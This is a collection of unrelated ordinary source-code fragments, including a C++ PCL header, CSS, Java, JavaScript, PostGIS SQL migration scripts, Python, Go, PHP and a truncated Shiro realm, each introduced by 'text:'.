    typedef pcl::PointCloud<pcl::PointXYZ> PointCloudIn; // For now, only pcl::PointXYZ makes sense
    typedef pcl::PointCloud<pcl::Normal> PointCloudN;

    public:
      class Entry
      {
      public:
        Entry(){}
        virtual ~Entry(){}
      };

    public:
      /** \brief This class is used by 'ObjRecRANSAC' to maintain the object models to be recognized. Normally, you do not need to use
        * this class directly. */
      ModelLibrary(double pair_width): pair_width_(pair_width), pair_width_eps_(0.1*pair_width){}
      virtual ~ModelLibrary(){}

      bool
      addModel(const PointCloudIn& model, const PointCloudN& normals, const std::string& object_name);

    protected:
      std::map<std::string,Entry*> model_entries_;
      double pair_width_, pair_width_eps_;
    };
  } // namespace recognition
} // namespace pcl

#endif // PCL_RECOGNITION_MODEL_LIBRARY_H_


text:
table.tableSorter th div.sortArrow {
    width: 11px;
    height: 6px;
    display: inline-block;
    margin-right: 5px;
    vertical-align: 2px;
    position: relative;
}

table.tableSorter th div.sortArrow div.sortArrowAscending, table.tableSorter th div.sortArrow div.sortArrowDescending {
    position: absolute;
    display: none;
    width: 11px;
    height: 6px;
}

table.tableSorter th div.sortArrow div.sortArrowAscending {
    background: url('arrow_asc.png');
}

table.tableSorter th div.sortArrow div.sortArrowDescending {
    background: url('arrow_desc.png') no-repeat;
}


text:
package edu.harvard.mcb.leschziner.analyze;

import java.util.Collection;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.Vector;

import edu.harvard.mcb.leschziner.core.Particle;

public class ClassAncestry {

    /**
     * Calculates the fractional overlap between two classes by ancestry
     *
     * @param firstClass
     * @param secondClass
     * @return
     */
    public static double calculateOverlap(Collection<Particle> firstClass,
                                          Collection<Particle> secondClass) {
        int matches = 0;
        for (Particle first : firstClass) {
            for (Particle second : secondClass) {
                if (first.getSourceId() == second.getSourceId()) {
                    matches++;
                    break;
                }
            }
        }

        return (double) (matches) / (firstClass.size() + secondClass.size());
    }

    /**
     * Finds the intersection of the two classes based on ancestry, biasing
     * selection such that the resulting set is of aligned particles
     *
     * @return
     */
    public static Collection<Particle>
            intersection(Collection<Particle> firstClass,
                         Collection<Particle> secondClass) {
        LinkedList<Particle> intersect = new LinkedList<>();

        for (Particle first : firstClass) {
            for (Particle second : secondClass) {
                if (first.getSourceId() == second.getSourceId()) {
                    intersect.add(first);
                    break;
                }
            }
        }
        return intersect;
    }

    /**
     * Find particles with unique ancestry between the two sets. Note that the
     * resulting set is NOT aligned.
     *
     * @param firstClass
     * @param secondClass
     * @return
     */
    public static Collection<Particle>
            difference(Collection<Particle> firstClass,
                       Collection<Particle> secondClass) {
        HashSet<Particle> intersect = new HashSet<>();
        for (Particle first : firstClass) {
            for (Particle second : secondClass) {
                if (first.getSourceId() == second.getSourceId()) {
                    intersect.add(first);
                    break;
                }
            }
        }

        Vector<Particle> diff = new Vector<>(firstClass.size()
                                             + secondClass.size()
                                             - intersect.size());
        for (Particle first : firstClass) {
            if (!intersect.contains(first)) {
                diff.add(first);
            }
        }

        for (Particle second : secondClass) {
            if (!intersect.contains(second)) {
                diff.add(second);
            }
        }
        return diff;
    }
}


text:
'use strict';

var fs = require('fs');

var angular = require('angular');

  module.exports = [
           '$scope', '$q', 'Notifications', 'JobDefinitionResource', '$modalInstance', 'jobDefinition',
  function ($scope,   $q,   Notifications,   JobDefinitionResource,   $modalInstance,   jobDefinition) {

    var PERFORM_UPDATE = 'PERFORM_UDPATE',
        SUCCESS = 'SUCCESS',
        FAILED = 'FAIL';

    $scope.status;
    $scope.setJobPriority = true;

    var data = $scope.data = {
      priority: jobDefinition.overridingJobPriority,
      includeJobs: false,
    };

    $scope.$on('$routeChangeStart', function () {
      var response = {};
      response.status = $scope.status;
      $modalInstance.close(response);
    });

    var hasOverridingJobPriority = $scope.hasOverridingJobPriority = function () {
      return jobDefinition.overridingJobPriority !== null && jobDefinition.overridingJobPriority !== undefined;
    };

    $scope.submit = function () {
      var setJobPriority = $scope.setJobPriority;
      if (!setJobPriority) {
        data = {};
      }

      JobDefinitionResource.setJobPriority({ 'id' : jobDefinition.id }, data,

        function () {
          $scope.status = SUCCESS;
          if (setJobPriority) {
            Notifications.addMessage({ 'status': 'Finished', 'message': 'Overriding the priority completed successfully.', 'exclusive': true });
          }
          else {
            Notifications.addMessage({ 'status': 'Finished', 'message': 'Clearing the priority completed successfully.', 'exclusive': true });
          }
        },

        function (error) {
          $scope.status = FAILED;
          if (setJobPriority) {
            Notifications.addError({ 'status': 'Finished', 'message': 'Overriding the priority was not successful: ' + error.data.message, 'exclusive': true });
          }
          else {
            Notifications.addError({ 'status': 'Finished', 'message': 'Clearing the priority was not successful: ' + error.data.message, 'exclusive': true });
          }
        }
      );
    };

    $scope.isValid = function () {
      var formScope = angular.element('[name="overrideJobPriorityForm"]').scope();
      return !$scope.setJobPriority || ((formScope && formScope.overrideJobPriorityForm) ? formScope.overrideJobPriorityForm.$valid : false);
    };

    $scope.close = function (status) {
      var response = {};
      response.status = status;
      $modalInstance.close(response);
    };

  }];


text:
namespace folly {

class dynamic;

}

namespace facebook {
namespace react {

class JSExecutorFactory;

namespace detail {

// This is only exposed so instrumentation tests can call it.
void injectJSCExecutorAndroidPlatform();

}

std::unique_ptr<JSExecutorFactory> makeAndroidJSCExecutorFactory(
    const folly::dynamic& jscConfig, std::function<folly::dynamic(const std::string&)> nativeExtensionsProvider);

}
}


text:
CREATE INDEX ON gadm0_2014 (name_0);
CREATE INDEX ON gadm0_2014 USING gist (geom);
CREATE INDEX gadm0_2014_geom_med_idx ON gadm0 USING gist (geom_simplify_med);

CREATE INDEX ON gadm1_2014 (name_1);
CREATE INDEX ON gadm1_2014 (name_0);
CREATE INDEX ON gadm1_2014 USING gist (geom);
CREATE INDEX gadm1_2014_geom_med_idx ON gadm1 USING gist (geom_simplify_med);

CREATE INDEX ON gadm2_2014 (name_2);
CREATE INDEX ON gadm2_2014 (name_0);
CREATE INDEX ON gadm2_2014 (name_1);
CREATE INDEX ON gadm2_2014 USING gist (geom);
CREATE INDEX gadm2_2014_geom_med_idx ON gadm2 USING gist (geom_simplify_med);

CREATE INDEX ON gadm3_2014 (name_3);
CREATE INDEX ON gadm3_2014 (name_0);
CREATE INDEX ON gadm3_2014 (name_1);
CREATE INDEX ON gadm3_2014 (name_2);
CREATE INDEX ON gadm3_2014 USING gist (geom);
CREATE INDEX gadm3_2014_geom_med_idx ON gadm3 USING gist (geom_simplify_med);

CREATE INDEX ON gadm4_2014 (name_4);
CREATE INDEX ON gadm4_2014 (name_0);
CREATE INDEX ON gadm4_2014 (name_1);
CREATE INDEX ON gadm4_2014 (name_2);
CREATE INDEX ON gadm4_2014 (name_3);
CREATE INDEX ON gadm4_2014 USING gist (geom);
CREATE INDEX gadm4_2014_geom_med_idx ON gadm4 USING gist (geom_simplify_med);

CREATE INDEX ON gadm5_2014 (name_5);
CREATE INDEX ON gadm5_2014 (name_0);
CREATE INDEX ON gadm5_2014 (name_1);
CREATE INDEX ON gadm5_2014 (name_2);
CREATE INDEX ON gadm5_2014 (name_3);
CREATE INDEX ON gadm5_2014 (name_4);
CREATE INDEX ON gadm5_2014 USING gist (geom);
CREATE INDEX gadm5_2014_geom_med_idx ON gadm5 USING gist (geom_simplify_med);

-- Migrate create guids for all of the columns.
-- Then migrate over the guid from the older gadm
-- when the name matches...
ALTER TABLE gadm0_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm0_2014
SET guid = gadm0.guid
FROM gadm0
WHERE gadm0_2014.name_0 = gadm0.name_0
AND gadm0.guid::text IN (select gis_geo_id__c from sf_location);

CREATE INDEX ON gadm0_2014 (guid);

ALTER TABLE gadm1_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm1_2014
SET guid = gadm1.guid
FROM gadm1
WHERE gadm1_2014.name_1 = gadm1.name_1
AND gadm1_2014.name_0 = gadm1.name_0
AND gadm1.guid::text IN (select gis_geo_id__c from sf_location);
--Ryan TODO: Add to subquery OR guid in vw_theme_disaster_gadm where level = '1');
--OR Just use the Location table.

CREATE INDEX ON gadm1_2014 (guid);

ALTER TABLE gadm2_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm2_2014
SET guid = gadm2.guid
FROM gadm2
WHERE gadm2_2014.name_2 = gadm2.name_2
AND gadm2_2014.name_1 = gadm2.name_1
AND gadm2_2014.name_0 = gadm2.name_0
AND gadm2.guid::text IN (select gis_geo_id__c from sf_location);

CREATE INDEX ON gadm2_2014 (guid);

ALTER TABLE gadm3_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm3_2014
SET guid = gadm3.guid
FROM gadm3
WHERE gadm3_2014.name_3 = gadm3.name_3
AND gadm3_2014.name_2 = gadm3.name_2
AND gadm3_2014.name_1 = gadm3.name_1
AND gadm3_2014.name_0 = gadm3.name_0
AND gadm3.guid::text IN (select gis_geo_id__c from sf_location);

CREATE INDEX ON gadm3_2014 (guid);

ALTER TABLE gadm4_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm4_2014
SET guid = gadm4.guid
FROM gadm4
WHERE gadm4_2014.name_4 = gadm4.name_4
AND gadm4_2014.name_3 = gadm4.name_3
AND gadm4_2014.name_2 = gadm4.name_2
AND gadm4_2014.name_1 = gadm4.name_1
AND gadm4_2014.name_0 = gadm4.name_0
AND gadm4.guid::text IN (select gis_geo_id__c from sf_location);

CREATE INDEX ON gadm4_2014 (guid);

ALTER TABLE gadm5_2014
ADD COLUMN guid uuid DEFAULT uuid_generate_v4();

UPDATE gadm5_2014
SET guid = gadm5.guid
FROM gadm5
WHERE gadm5_2014.name_5 = gadm5.name_5
AND gadm5_2014.name_4 = gadm5.name_4
AND gadm5_2014.name_3 = gadm5.name_3
AND gadm5_2014.name_2 = gadm5.name_2
AND gadm5_2014.name_1 = gadm5.name_1
AND gadm5_2014.name_0 = gadm5.name_0
AND gadm5.guid::text IN (select gis_geo_id__c from sf_location);

CREATE INDEX ON gadm5_2014 (guid);

-- NH GHETTO SIMPLIFY STUFF
ALTER TABLE gadm0_2014 ADD COLUMN geom_simplify_med geometry;
ALTER TABLE gadm1_2014 ADD COLUMN geom_simplify_med geometry;
ALTER TABLE gadm2_2014 ADD COLUMN geom_simplify_med geometry;
ALTER TABLE gadm3_2014 ADD COLUMN geom_simplify_med geometry;
ALTER TABLE gadm4_2014 ADD COLUMN geom_simplify_med geometry;
ALTER TABLE gadm5_2014 ADD COLUMN geom_simplify_med geometry;

update arc_regions_dissolved
set geom = ST_Simplify(geom, 0.1);

update gadm0_2014
set geom_simplify_med = ST_Simplify(geom, 0.06);

update gadm1_2014
set geom_simplify_med = ST_SimplifyPreserveTopology(geom, 0.01);

update gadm2_2014
set geom_simplify_med = geom;

update gadm3_2014
set geom_simplify_med = geom;

update gadm4_2014
set geom_simplify_med = geom;

update gadm5_2014
set geom_simplify_med = geom;

--The above causes self-intersection errors (run this to see them)
--SELECT ST_IsValidReason(geom_simplify_med) from gadm0

--Run this to fix them
UPDATE arc_regions_dissolved set geom = st_buffer(geom,0);
UPDATE gadm0_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);
UPDATE gadm1_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);
UPDATE gadm2_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);
UPDATE gadm3_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);
UPDATE gadm4_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);
UPDATE gadm5_2014 set geom_simplify_med = st_buffer(geom_simplify_med,0);

--select st_astext(geom_simplify_med) from gadm0
select * from UpdateGeometrySRID('arc_regions_dissolved', 'geom', 4326);
select * from UpdateGeometrySRID('gadm0_2014', 'geom_simplify_med', 4326);
select * from UpdateGeometrySRID('gadm1_2014', 'geom_simplify_med', 4326);
select * from UpdateGeometrySRID('gadm2_2014', 'geom_simplify_med', 4326);
select * from UpdateGeometrySRID('gadm3_2014', 'geom_simplify_med', 4326);
select * from UpdateGeometrySRID('gadm4_2014', 'geom_simplify_med', 4326);
select * from UpdateGeometrySRID('gadm5_2014', 'geom_simplify_med', 4326);

-- NH THESE ARE NOT WORKING!!!
--Since we've smoothed away 34 islands for level 0 in the process, add them back in
--update gadm0_2014 set geom_simplify_med = geom
--where guid NOT IN (
--	select guid from udf_getidsbyextent(null, 'POLYGON((-180 -90, -180 90, 180 90, 180 -90, -180 -90))')
--	);

--need to do this for other levels as well.
--update gadm1_2014 set geom_simplify_med = geom
--where guid NOT IN (
--	select guid from udf_getidsbyextent(null, 'POLYGON((-180 -90, -180 90, 180 90, 180 -90, -180 -90))')
--	);

-- make new text_search table
CREATE TABLE text_search_2014
(
  id serial NOT NULL,
  name character varying,
  level character varying,
  source character varying,
  country character varying,
  year integer,
  last_updated timestamp without time zone DEFAULT ('now'::text)::date,
  geom geometry,
  fullname character varying,
  stack_guid uuid,
  feature_guid uuid
);
ALTER TABLE text_search_2014 ADD PRIMARY KEY (id);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_0,
            '0',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_0
    FROM gadm0_2014);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_1,
            '1',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_1 || ', ' || name_0
    FROM gadm1_2014);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_2,
            '2',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_2 || ', ' || name_1 || ', ' || name_0
    FROM gadm2_2014);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_3,
            '3',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_3 || ', ' || name_2 || ', ' || name_1 || ', ' || name_0
    FROM gadm3_2014);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_4,
            '4',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_4 || ', ' || name_3 || ', ' || name_2 || ', ' || name_1 || ', ' || name_0
    FROM gadm4_2014);

INSERT INTO text_search_2014 (name, level, source, country, year, stack_guid, feature_guid, geom, fullname)
    (SELECT name_5,
            '5',
            'GADM',
            name_0,
            year,
            guid,
            guid,
            geom,
            name_5 || ', ' || name_4 || ', ' || name_3 || ', ' || name_2 || ', ' || name_1 || ', ' || name_0
    FROM gadm5_2014);

CREATE INDEX ON text_search_2014 (name);
CREATE INDEX ON text_search_2014 (level);
CREATE INDEX ON text_search_2014 (source);
CREATE INDEX ON text_search_2014 (country);
CREATE INDEX ON text_search_2014 (year);
CREATE INDEX ON text_search_2014 (stack_guid);
CREATE INDEX ON text_search_2014 (feature_guid);
CREATE INDEX ON text_search_2014 (fullname);
CREATE INDEX ON text_search_2014 USING gist (geom);

--OK! We have everything remade for 2014. Now time to rename the tables accordingly so everything "just works".

ALTER TABLE gadm0 RENAME TO gadm0_2012;
ALTER TABLE gadm1 RENAME TO gadm1_2012;
ALTER TABLE gadm2 RENAME TO gadm2_2012;
ALTER TABLE gadm3 RENAME TO gadm3_2012;
ALTER TABLE gadm4 RENAME TO gadm4_2012;
ALTER TABLE gadm5 RENAME TO gadm5_2012;
ALTER TABLE text_search RENAME TO text_search_2012;

ALTER TABLE gadm0_2014 RENAME TO gadm0;
ALTER TABLE gadm1_2014 RENAME TO gadm1;
ALTER TABLE gadm2_2014 RENAME TO gadm2;
ALTER TABLE gadm3_2014 RENAME TO gadm3;
ALTER TABLE gadm4_2014 RENAME TO gadm4;
ALTER TABLE gadm5_2014 RENAME TO gadm5;
ALTER TABLE text_search_2014 RENAME TO text_search;


text:
class Solution {
    /*public String longestWord(String[] words) {
        String ans = "";
        Set<String> wordset = new HashSet();
        for (String word: words) wordset.add(word);
        for (String word: words) {
            if (word.length() > ans.length() ||
                    word.length() == ans.length() && word.compareTo(ans) < 0) {
                boolean good = true;
                for (int k = 1; k < word.length(); ++k) {
                    if (!wordset.contains(word.substring(0, k))) {
                        good = false;
                        break;
                    }
                }
                if (good) ans = word;
            }
        }
        return ans;
    }*/

    public String longestWord(String[] words) {
        Trie trie = new Trie();
        int index = 0;
        for (String word: words) {
            trie.insert(word, ++index); //indexed by 1
        }
        trie.words = words;
        return trie.dfs();
    }
}
class Node {
    char c;
    HashMap<Character, Node> children = new HashMap();
    int end;
    public Node(char c){
        this.c = c;
    }
}

class Trie {
    Node root;
    String[] words;
    public Trie() {
        root = new Node('0');
    }

    public void insert(String word, int index) {
        Node cur = root;
        for (char c: word.toCharArray()) {
            cur.children.putIfAbsent(c, new Node(c));
            cur = cur.children.get(c);
        }
        cur.end = index;
    }

    public String dfs() {
        String ans = "";
        Stack<Node> stack = new Stack();
        stack.push(root);
        while (!stack.empty()) {
            Node node = stack.pop();
            if (node.end > 0 || node == root) {
                if (node != root) {
                    String word = words[node.end - 1];
                    if (word.length() > ans.length() ||
                            word.length() == ans.length() && word.compareTo(ans) < 0) {
                        ans = word;
                    }
                }
                for (Node nei: node.children.values()) {
                    stack.push(nei);
                }
            }
        }
        return ans;
    }
}


text:
@implementation Drink

-(id)initWithID:(int)productID productName:(NSString*)productName productPrice:(float)productPrice productMadeInCountry:(NSString*)productMadeInCountry productSize:(int)productSize isDrinkDiet:(BOOL)isDrinkDiet{

    self = [super initWithID:productID productName:productName productPrice:productPrice productMadeInCountry:productMadeInCountry];

    if(self){
        self.isDrinkDiet = isDrinkDiet;
        self.productSize = productSize;
    }

    return self;

};

@end


text:
def AreCharsUnique(input):

   if not isinstance(input, str):
      print "Input given, %s was not a string" %input
      return(0)

   CharDictionary = {}

   for c in input:
      if c in CharDictionary:
         print "The string, %s, contains duplicate characters %s" %(input, c)
         return(0)
      else:
         CharDictionary[c] = 1
   print "The string %s contains unique characters" %input

AreCharsUnique(890.239)
AreCharsUnique("inthesam")
AreCharsUnique("These are not")


text:
package org.apache.thrift.server;

import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

import org.apache.thrift.TException;
import org.apache.thrift.TProcessor;
import org.apache.thrift.protocol.TProtocol;
import org.apache.thrift.transport.TSaslTransportException;
import org.apache.thrift.transport.TServerTransport;
import org.apache.thrift.transport.TTransport;
import org.apache.thrift.transport.TTransportException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * Server which uses Java's built in ThreadPool management to spawn off
 * a worker pool that
 *
 */
public class TThreadPoolServer extends TServer {
  private static final Logger LOGGER = LoggerFactory.getLogger(TThreadPoolServer.class.getName());

  public static class Args extends AbstractServerArgs<Args> {
    public int minWorkerThreads = 5;
    public int maxWorkerThreads = Integer.MAX_VALUE;
    public ExecutorService executorService;
    public int stopTimeoutVal = 60;
    public TimeUnit stopTimeoutUnit = TimeUnit.SECONDS;
    public int requestTimeout = 20;
    public TimeUnit requestTimeoutUnit = TimeUnit.SECONDS;
    public int beBackoffSlotLength = 100;
    public TimeUnit beBackoffSlotLengthUnit = TimeUnit.MILLISECONDS;

    public Args(TServerTransport transport) {
      super(transport);
    }

    public Args minWorkerThreads(int n) {
      minWorkerThreads = n;
      return this;
    }

    public Args maxWorkerThreads(int n) {
      maxWorkerThreads = n;
      return this;
    }

    public Args stopTimeoutVal(int n) {
      stopTimeoutVal = n;
      return this;
    }

    public Args requestTimeout(int n) {
      requestTimeout = n;
      return this;
    }

    public Args requestTimeoutUnit(TimeUnit tu) {
      requestTimeoutUnit = tu;
      return this;
    }
    //Binary exponential backoff slot length
    public Args beBackoffSlotLength(int n) {
      beBackoffSlotLength = n;
      return this;
    }

    //Binary exponential backoff slot time unit
    public Args beBackoffSlotLengthUnit(TimeUnit tu) {
      beBackoffSlotLengthUnit = tu;
      return this;
    }

    public Args executorService(ExecutorService executorService) {
      this.executorService = executorService;
      return this;
    }
  }

  // Executor service for handling client connections
  private ExecutorService executorService_;

  private final TimeUnit stopTimeoutUnit;

  private final long stopTimeoutVal;

  private final TimeUnit requestTimeoutUnit;

  private final long requestTimeout;

  private final long beBackoffSlotInMillis;

  private Random random = new Random(System.currentTimeMillis());

  public TThreadPoolServer(Args args) {
    super(args);

    stopTimeoutUnit = args.stopTimeoutUnit;
    stopTimeoutVal = args.stopTimeoutVal;
    requestTimeoutUnit = args.requestTimeoutUnit;
    requestTimeout = args.requestTimeout;
    beBackoffSlotInMillis = args.beBackoffSlotLengthUnit.toMillis(args.beBackoffSlotLength);

    executorService_ = args.executorService != null ?
        args.executorService : createDefaultExecutorService(args);
  }

  private static ExecutorService createDefaultExecutorService(Args args) {
    SynchronousQueue<Runnable> executorQueue =
      new SynchronousQueue<Runnable>();
    return new ThreadPoolExecutor(args.minWorkerThreads,
                                  args.maxWorkerThreads,
                                  args.stopTimeoutVal,
                                  TimeUnit.SECONDS,
                                  executorQueue);
  }

  public void serve() {
    try {
      serverTransport_.listen();
    } catch (TTransportException ttx) {
      LOGGER.error("Error occurred during listening.", ttx);
      return;
    }

    // Run the preServe event
    if (eventHandler_ != null) {
      eventHandler_.preServe();
    }

    stopped_ = false;
    setServing(true);
    int failureCount = 0;
    while (!stopped_) {
      try {
        TTransport client = serverTransport_.accept();
        WorkerProcess wp = new WorkerProcess(client);

        int retryCount = 0;
        long remainTimeInMillis = requestTimeoutUnit.toMillis(requestTimeout);
        while(true) {
          try {
            executorService_.execute(wp);
            break;
          } catch(Throwable t) {
            if (t instanceof RejectedExecutionException) {
              retryCount++;
              try {
                if (remainTimeInMillis > 0) {
                  //do a truncated 20 binary exponential backoff sleep
                  long sleepTimeInMillis = ((long) (random.nextDouble() *
                      (1L << Math.min(retryCount, 20)))) * beBackoffSlotInMillis;
                  sleepTimeInMillis = Math.min(sleepTimeInMillis, remainTimeInMillis);
                  TimeUnit.MILLISECONDS.sleep(sleepTimeInMillis);
                  remainTimeInMillis = remainTimeInMillis - sleepTimeInMillis;
                } else {
                  client.close();
                  wp = null;
                  LOGGER.warn("Task has been rejected by ExecutorService " + retryCount
                      + " times till timedout, reason: " + t);
                  break;
                }
              } catch (InterruptedException e) {
                LOGGER.warn("Interrupted while waiting to place client on executor queue.");
                Thread.currentThread().interrupt();
                break;
              }
            } else if (t instanceof Error) {
              LOGGER.error("ExecutorService threw error: " + t, t);
              throw (Error)t;
            } else {
              //for other possible runtime errors from ExecutorService, should also not kill serve
              LOGGER.warn("ExecutorService threw error: " + t, t);
              break;
            }
          }
        }
      } catch (TTransportException ttx) {
        if (!stopped_) {
          ++failureCount;
          LOGGER.warn("Transport error occurred during acceptance of message.", ttx);
        }
      }
    }

    executorService_.shutdown();

    // Loop until awaitTermination finally does return without a interrupted
    // exception. If we don't do this, then we'll shut down prematurely. We want
    // to let the executorService clear it's task queue, closing client sockets
    // appropriately.
    long timeoutMS = stopTimeoutUnit.toMillis(stopTimeoutVal);
    long now = System.currentTimeMillis();
    while (timeoutMS >= 0) {
      try {
        executorService_.awaitTermination(timeoutMS, TimeUnit.MILLISECONDS);
        break;
      } catch (InterruptedException ix) {
        long newnow = System.currentTimeMillis();
        timeoutMS -= (newnow - now);
        now = newnow;
      }
    }
    setServing(false);
  }

  public void stop() {
    stopped_ = true;
    serverTransport_.interrupt();
  }

  private class WorkerProcess implements Runnable {

    /**
     * Client that this services.
     */
    private TTransport client_;

    /**
     * Default constructor.
     *
     * @param client Transport to process
     */
    private WorkerProcess(TTransport client) {
      client_ = client;
    }

    /**
     * Loops on processing a client forever
     */
    public void run() {
      TProcessor processor = null;
      TTransport inputTransport = null;
      TTransport outputTransport = null;
      TProtocol inputProtocol = null;
      TProtocol outputProtocol = null;

      TServerEventHandler eventHandler = null;
      ServerContext connectionContext = null;

      try {
        processor = processorFactory_.getProcessor(client_);
        inputTransport = inputTransportFactory_.getTransport(client_);
        outputTransport = outputTransportFactory_.getTransport(client_);
        inputProtocol = inputProtocolFactory_.getProtocol(inputTransport);
        outputProtocol = outputProtocolFactory_.getProtocol(outputTransport);

        eventHandler = getEventHandler();
        if (eventHandler != null) {
          connectionContext = eventHandler.createContext(inputProtocol, outputProtocol);
        }
        // we check stopped_ first to make sure we're not supposed to be shutting
        // down. this is necessary for graceful shutdown.
        while (true) {

            if (eventHandler != null) {
              eventHandler.processContext(connectionContext, inputTransport, outputTransport);
            }

            if(stopped_ || !processor.process(inputProtocol, outputProtocol)) {
              break;
            }
        }
      } catch (TSaslTransportException ttx) {
        // Something thats not SASL was in the stream, continue silently
      } catch (TTransportException ttx) {
        // Assume the client died and continue silently
      } catch (TException tx) {
        LOGGER.error("Thrift error occurred during processing of message.", tx);
      } catch (Exception x) {
        LOGGER.error("Error occurred during processing of message.", x);
      } finally {
        if (eventHandler != null) {
          eventHandler.deleteContext(connectionContext, inputProtocol, outputProtocol);
        }
        if (inputTransport != null) {
          inputTransport.close();
        }
        if (outputTransport != null) {
          outputTransport.close();
        }
        if (client_.isOpen()) {
          client_.close();
        }
      }
    }
  }
}


text:
"""
genderPredictor.py
"""

from nltk import NaiveBayesClassifier, classify
from nltk.corpus import names
import random

class genderPredictor():

    def getFeatures(self):
        maleNames = (name for name in names.words('male.txt'))
        femaleNames = (name for name in names.words('female.txt'))

        featureset = list()
        for name in maleNames:
            features = self._nameFeatures(name)
            featureset.append((features, 'M'))

        for name in femaleNames:
            features = self._nameFeatures(name)
            featureset.append((features, 'F'))

        return featureset

    def trainAndTest(self, trainingPercent=0.80):
        featureset = self.getFeatures()
        random.shuffle(featureset)

        name_count = len(featureset)

        cut_point = int(name_count * trainingPercent)

        train_set = featureset[:cut_point]
        test_set = featureset[cut_point:]

        self.train(train_set)

        return self.test(test_set)

    def classify(self, name):
        feats = self._nameFeatures(name)
        print(name, feats)
        for male in names.words('male.txt'):
            if name == male:
                return 'M'
        for female in names.words('female.txt'):
            if name == female:
                return 'F'

        return self.classifier.classify(feats)

    def train(self, train_set):
        self.classifier = NaiveBayesClassifier.train(train_set)
        return self.classifier

    def test(self, test_set):
        return classify.accuracy(self.classifier, test_set)

    def getMostInformativeFeatures(self, n=5):
        return self.classifier.most_informative_features(n)

    def _nameFeatures(self, name):
        return {
            'last_letter': name[-1],
            'last_two': name[-2:],
            'last_is_vowel': (name[-1] in 'AEIOUY')
        }

if __name__ == "__main__":
    gp = genderPredictor()
    accuracy = gp.trainAndTest()
    print ('Accuracy:', accuracy)
    print ('Most Informative Features')
    feats = gp.getMostInformativeFeatures(10)
    for feat in feats:
        print (feat)

    print ('\nStephen is classified as', gp.classify('Stephen'))


text:
package rdbtools

import (
	"bufio"
	"bytes"
	"fmt"
	"io"
)

// Represents the metadata of a list, which is the key and the list length
type ListMetadata struct {
	Key KeyObject
	Len int64
}

// Returns a visualization of the list metadata
func (m ListMetadata) String() string {
	return fmt.Sprintf("ListMetadata{Key: %s, Len: %d}", DataToString(m.Key), m.Len)
}

func (p *parser) readList(key KeyObject, r io.Reader) error {
	l, e, err := p.readLen(r)
	if err != nil {
		return err
	}
	if e {
		return ErrUnexpectedEncodedLength
	}

	p.ctx.ListMetadataCh <- ListMetadata{Key: key, Len: l}

	for i := int64(0); i < l; i++ {
		value, err := p.readString(r)
		if err != nil {
			return err
		}

		p.ctx.ListDataCh <- value
	}

	return nil
}

func (p *parser) readListInZipList(key KeyObject, r io.Reader) error {
	data, err := p.readString(r)
	if err != nil {
		return err
	}

	onLenCallback := func(length int64) error {
		p.ctx.ListMetadataCh <- ListMetadata{Key: key, Len: length}
		return nil
	}
	onElementCallback := func(e interface{}) error {
		p.ctx.ListDataCh <- e
		return nil
	}
	dr := bufio.NewReader(bytes.NewReader(data.([]byte)))

	if err := p.readZipList(dr, onLenCallback, onElementCallback); err != nil {
		return err
	}

	return nil
}


text:
<?php

/* $Id: inline_positioner.cls.php 216 2010-03-11 22:49:18Z ryan.masten $ */
/**
 * Positions inline frames
 *
 * @access private
 * @package dompdf
 */
class Inline_Positioner extends Positioner {

  function __construct(Frame_Decorator $frame) { parent::__construct($frame); }

  //........................................................................

  function position() {
    $cb = $this->_frame->get_containing_block();

    // Find our nearest block level parent and access its lines property.
    $p = $this->_frame->find_block_parent();

    // Debugging code:

//     pre_r("\nPositioning:");
//     pre_r("Me: " . $this->_frame->get_node()->nodeName . " (" . spl_object_hash($this->_frame->get_node()) . ")");
//     pre_r("Parent: " . $p->get_node()->nodeName . " (" . spl_object_hash($p->get_node()) . ")");

    // End debugging

    if ( !$p )
      throw new DOMPDF_Exception("No block-level parent found.  Not good.");

    $line = $p->get_current_line();

    $this->_frame->set_position($cb["x"] + $line["w"], $line["y"]);

  }
}


text:
package com.gvtv.manage.base.interceptor.shiro;

import java.util.List;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.Permission;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.session.Session;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.Subject;

import com.gvtv.manage.base.system.entity.User;
import com.gvtv.manage.base.util.Const;

/**
 * @FileName ShiroRealm.java
 * @Description: 认证和鉴权
 *
 * @Date Apr 17, 2015
 * @author YangShengJun
 * @version 1.0
 *
 */
public class ShiroRealm extends AuthorizingRealm {

	/*
	 * (non-Javadoc)
	 *
